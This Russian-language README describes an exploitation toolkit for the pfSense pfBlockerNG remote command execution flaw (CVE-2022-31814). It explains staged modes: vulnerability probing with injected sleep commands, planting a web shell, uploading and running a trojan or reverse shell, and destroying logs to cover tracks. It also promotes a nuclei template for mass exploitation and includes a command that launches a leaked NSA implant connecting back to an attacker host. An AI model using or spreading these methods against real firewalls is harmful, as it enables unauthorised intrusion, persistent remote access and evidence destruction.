
CVE-2022-31814 Exploitation Toolkit.
CVE-2022-31814 (pfSense pfBlockerNG <= 2.1.4_26) Набор инструментов для эксплуатации.
Это набор инструментов для эксплуатации уязвимости удаленного выполнения команд в плагинах pfSense pfBlockerNG <= 2.1.4_26, обнаруженной IHTeam.
Я написал это, чтобы поиграться с некоторыми принципами проектирования, найденными в наборе инструментов эксплуатации брандмауэров АНБ — по этой причине он полностью совместим с имплантом nopen (требуется одно небольшое и задокументированное изменение), имеет встроенные функции очистки логов и чрезвычайно надёжен за счёт реализации предварительных проверок (пассивных и активных тестов уязвимости).
Тривиальный обратный TTY-шелл на Python (на этих устройствах есть интерпретатор Python) поставляется в качестве замены nopen в этом наборе, поскольку запускать sketchy бинарники, стащенные из АНБ, кажется немного безрассудным в производственных средах.
Для yolo-сканирования на предмет мелких баунти и массовой эксплуатации запустите предоставленный шаблон nuclei (он также уже должен быть включён в обновления). Это даст вам список целей. Файл называется nuclei-CVE-2022-31814.yaml.
Для точной и аккуратной работы с сетями существуют четыре «режима», о которых вам нужно знать; они описаны ниже. Запускайте их по порядку. Они задаются флагом --mode.
Этот режим выполняет два HTTP-запроса — один, чтобы проверить, что это действительно pfSense (по заголовку HTTP на /), и один к уязвимой конечной точке, чтобы убедиться, что она выглядит нормально. Этот режим ничего не эксплуатирует.
Этот режим выполняет два HTTP-запроса — оба эксплуатируют уязвимость.
Он внедряет sleep 1 и sleep 10 и проверяет, что разница во времени между обоими запросами превышает 6 секунд.
Я добавил небольшой запас прочности, чтобы учесть задержки, если вы используете эксплойт через прокси (вы ведь используете прокси, да?).
Этот режим выполняет 3 HTTP-запроса.
Первый эксплуатирует уязвимость для загрузки веб-шелла с помощью GET-запроса. Второй использует веб-шелл для загрузки нашего трояна с помощью POST-запроса. Третий использует веб-шелл для выполнения нашего трояна с помощью POST-запроса.
Этот режим выполняет два HTTP-запроса. Первый загружает скрипт очистки с помощью веб-шелла. Второй выполняет скрипт очистки.
Скрипт очистки уничтожает логи, удаляет троян, удаляет веб-шелл, а затем удаляет сам себя. Он делает это разумным способом (rm -rf). Не особо криминалистически надёжно — возможно, я исправлю это позже, используя dd для перезаписи файлов перед удалением. Также, возможно, напишу магию sed для хирургической очистки логов, но, честно говоря, только если мне будет не лень.
Для использования nopen просто замените последнюю команду «выполнить троян» в функции exploit() на следующую:
execute_command(base_url, shell_webpath, shell_param, shell_command=f"chmod +x /tmp/.troy;D=-c{connectback_host}:{connectback_port} /tmp/.troy")
И предоставьте бинарник nopen (noserver) под FreeBSD, который работает на вашей целевой системе — это может быть сложно: вам нужно пропатчить noserver-3.3.2.3-freebsd_8.0-i386 из утечки EQGRP, чтобы он использовал libkvm.so.7 вместо libkvm.so.5, и целевая система должна иметь слой совместимости lib32... Который не поставляется по умолчанию в pfSense.
Возможно, я добавлю флаг --nopen, чтобы автоматизировать это в будущем релизе, если людям действительно так важно использовать nopen. А им не должно быть.

Отчёт IHTeam: https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/